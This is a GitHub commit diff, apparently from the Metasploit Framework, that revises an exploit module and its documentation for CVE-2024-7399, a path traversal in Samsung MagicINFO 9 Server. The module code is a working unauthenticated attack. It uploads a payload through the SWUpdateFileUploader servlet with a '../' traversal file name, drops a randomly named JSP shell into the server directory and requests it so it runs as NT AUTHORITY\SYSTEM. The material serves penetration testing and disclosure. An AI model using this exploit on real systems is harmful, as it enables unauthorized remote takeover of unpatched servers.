Skip to content

Commit e9c88b5

Browse files
committed
cleanup
1 parent 803581a commit e9c88b5

File tree

2 files changed

+29
-22
lines changed

2 files changed

+29
-22
lines changed

documentation/modules/exploit/windows/http/magicinfo_traversal.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,11 @@ msf6 exploit(windows/http/magicinfo_traversal) > exploit
3333

3434
You should get a shell in the context of `NY AUTHORITY\SYSTEM`.
3535

36+
## Options
37+
38+
### DEPTH
39+
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
40+
3641
## Scenarios
3742

3843
Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the

modules/exploits/windows/http/magicinfo_traversal.rb

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ def initialize(info = {})
1010
info,
1111
'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
1212
'Description' => %q{
13-
Remote Code Execution in Samsung MagicINFO 9 Server.
13+
Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.
1414
Remote code execution can be obtained by exploiting a path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, which can be queried by an unauthenticated user.
1515
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
1616
},
@@ -24,12 +24,16 @@ def initialize(info = {})
2424
[ 'CVE', '2024-7399']
2525
],
2626
'DisclosureDate' => '2025-04-30',
27+
'DefaultOptions' => {
28+
'RPORT' => 7002,
29+
'SSL' => 'True'
30+
},
2731
'Platform' => [ 'windows' ],
2832
'Arch' => [ ARCH_CMD ],
2933
'Targets' => [
3034
[
3135
'Java Server Page', {
32-
'Platform' => %w[win linux unix],
36+
'Platform' => %w[win],
3337
'Arch' => ARCH_JAVA
3438
}
3539
]
@@ -45,8 +49,8 @@ def initialize(info = {})
4549

4650
register_options(
4751
[
48-
Opt::RPORT(7002),
49-
OptString.new('TARGETURI', [ true, 'The URI for the MagicInfo web interface', '/MagicInfo'])
52+
OptString.new('TARGETURI', [ true, 'The URI for the MagicInfo web interface', '/MagicInfo']),
53+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 6 ])
5054
]
5155
)
5256
end
@@ -61,9 +65,7 @@ def check
6165

6266
js_object = res.body.to_s[/window\.globalConfig\s*=\s*(\{.*\})/m, 1]
6367

64-
unless js_object
65-
fail_with(Failure::UnexpectedReply, 'Could not extract globalConfig object from response')
66-
end
68+
fail_with(Failure::UnexpectedReply, 'Could not extract globalConfig object from response.') unless js_object
6769

6870
json_safe = js_object.gsub(/'/, '"')
6971
json_safe.gsub!(/,(\s*[}\]])/, '\1')
@@ -72,45 +74,45 @@ def check
7274
full_version = data['magicInfoFrontEndVersion']
7375
version = full_version[/Server\s+([\d.]+)/, 1]
7476

75-
if Rex::Version.new(version) <= Rex::Version.new('21.1050.0')
77+
return CheckCode::Unknown unless version
78+
79+
unless Rex::Version.new(version) > Rex::Version.new('21.1050.0')
7680
vprint_status("MagicINFO version detected: #{full_version}")
7781
return CheckCode::Appears
78-
else
79-
return CheckCode::Safe
8082
end
83+
84+
return CheckCode::Safe
8185
end
8286

8387
def exploit
8488
execute_command(payload.encoded)
8589
end
8690

87-
def execute_command(_cmd)
91+
def execute_command(cmd)
8892
print_status('Uploading shell...')
8993

90-
post_data = _cmd
94+
shell = Rex::Text.rand_text_alpha(8..12)
95+
traversal = '../' * datastore['DEPTH']
9196

9297
res = send_request_cgi({
9398
'method' => 'POST',
9499
'ctype' => 'text/plain',
95-
'data' => post_data,
96-
'uri' => normalize_uri(target_uri.path, 'servlet/SWUpdateFileUploader?fileName=./../../../../../../server/shell2.jsp&deviceType=abc&deviceModelName=test&swVer=123')
97-
100+
'data' => cmd,
101+
'uri' => normalize_uri(target_uri.path, 'servlet', "SWUpdateFileUploader?fileName=./#{traversal}server/#{shell}.jsp")
98102
})
99103

100104
if res && res.code == 200
101105
print_good('Upload successful.')
102106
res1 = send_request_cgi({
103-
'uri' => normalize_uri(target_uri.path, 'shell2.jsp'),
107+
'uri' => normalize_uri(target_uri.path, "#{shell}.jsp"),
104108
'method' => 'GET'
105109
})
106-
if res1 && res1.code == 200
107-
print_status('Payload executed!')
108-
else
109-
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.')
110-
end
110+
111+
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1 && res1.code == 200
112+
print_status('Payload executed!')
113+
111114
else
112115
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
113116
end
114117
end
115-
116118
end

0 commit comments

Comments
 (0)